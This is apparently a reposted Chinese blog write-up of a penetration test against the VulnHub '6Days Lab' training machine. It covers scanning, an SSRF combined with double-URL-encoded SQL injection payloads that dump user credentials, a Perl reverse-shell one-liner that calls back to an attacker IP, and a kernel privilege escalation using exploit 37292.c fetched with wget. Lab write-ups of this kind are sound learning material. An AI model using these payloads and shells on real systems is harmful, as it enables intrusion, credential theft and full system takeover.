2020-1-5:vulnhub靶场,6Days_Lab-v1.0.1

一、环境准备

1,下载地址:https://www.vulnhub.com/entry/6days-lab-11,156/#flags

2,目标,获取根目录下flag

3,下载好靶场之后,使用VirtualBox虚拟机软件导入环境,启动即可,为了方便练习,我将攻击机和靶场都设置为桥接模式

二、渗透练习

1,获取靶机ip地址

输入命令netdiscover,不添加任何参数,会默认扫描机器网卡上的ip值的所有网段,获取到靶场ip地址为192.168.1.103

2,收集端口信息

输入命令,nmap -v -Pn -p- 192.168.1.103

-v:表示显示详细信息

-Pn:表示不使用ping扫描

-p-:表示扫描指定ip的所有端口

 如图所示,靶场开启了22,80,8080端口

3,进行渗透

访问192.168.1.103的80端口,是一个ips界面,还有一个折扣码

 输入折扣码,提示代码过期,没啥用处

4,查看网站源码,发现image.php页面会进行引用图片

 

5,进行访问,可能存在ssrf

6,修改src=后边参数为index.php,并没有拦截,也没有报错

使用dirb http://192.168.1.103,获取靶机网站目录结构文件

7,打开BP进行抓包,发现响应包是主页界面

获取passwd文件信息,得到靶机有账户user,andrea

查看config.php信息,得到数据库账号,密码,数据库名信息

其他发现的网站界面都会被ips拦截

8,查看apache默认配置信息

在apache默认文件中,发现网站实际就是在8080端口,只接受本地连接,然后转发到80端口

 

9,通过配置信息,获得的消息,可以发现网站直接跟mysql数据库连接,存在sql注入,两次url编码即可绕过

通过Python来生成sql语句

输入 python3  进入python3环境

from urllib.parse import quote ,引入quote模块里的url编码

quote(quote("SQL语句")),两次url编码sql语句

例如:quote(quote("aaaa'union select version(),2#")),获取当前数据库版本信息

 payload:image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520version%2528%2529%252C2%2523

 

通过ssrf+sql注入,得到想要的信息

获取当前数据库payload:/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520database%2528%2529%252C2%2523

获取当前数据库中的表payload:/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520group_concat%2528table_name%2529%252C2%2520from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529%2523

获取表中字段名payload:/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520group_concat%2528column_name%2529%252C2%2520from%2520information_schema.columns%2520where%2520table_schema%253Ddatabase%2528%2529%2520and%2520table_name%253D%2527users%2527%2523

获取所需账号密码信息payload:/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520group_concat%2528username%252C%2527~~~~%2527%252Cpassword%2529%252C2%2520from%2520fancydb.users%2523

10,获取到andrea账户的密码信息,开启了ssh端口,尝试使用ssh进行连接

输入命令 ssh [email protected] 

之后输入密码,连接成功

11,连接之后发现任何命令都没反应

 12,可能是回显信息丢失,尝试反弹shell

攻击机重新打开一个终端,输入nc -lvvp 1234,监听本地端口

ssh连接的靶机上输入命令:perl -e 'use Socket;$i="192.168.1.102";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

命令的i参数:后边的ip地址为自己攻击机主机的ip地址

 命令的p参数:后边为nc本地监听的端口

执行之后发现反弹命shell成功,命令也都有回显

如果觉得反弹的shell前边没东西不太习惯,可以在反弹的shell下输入以下命令,返回原始bash shell

python -c ’import pty; pty.spawn("/bin/bash")‘

13,进行提权

输入 uname -a,获取系统内核版本为3.13.0

搜索可用exp

输入命令 searchsploit 3.13.0,发现kali系统内置的exp脚本

14,将可用脚本下载到靶机平台

首先开启攻击机的apache服务

 service apache2 start

将脚本文件复制到apache根目录下

输入命令:cp /usr/share/exploitdb/exploits/linux/local/37292.c /var/www/html/

 

在反弹的shell中下载脚本

输入命令,wget http://192.168.1.102/37292.c

15,使用exp脚本文件进行提权

因为脚本文件为c语言编写的,使用需要进行编译,可以使用gcc进行编译

输入命令:gcc 37292.c -o exp

-o 参数为输入的文件名称

编译之后的文件直接具备了可执行权限

输入命令: ./exp,发现提权成功

16,得到flag

提权成功之后,切换到系统根目录,发现flag文件,发现为可执行脚本,./flag执行,得到flag

 完

猜你喜欢

转载自www.cnblogs.com/sym945/p/12154220.html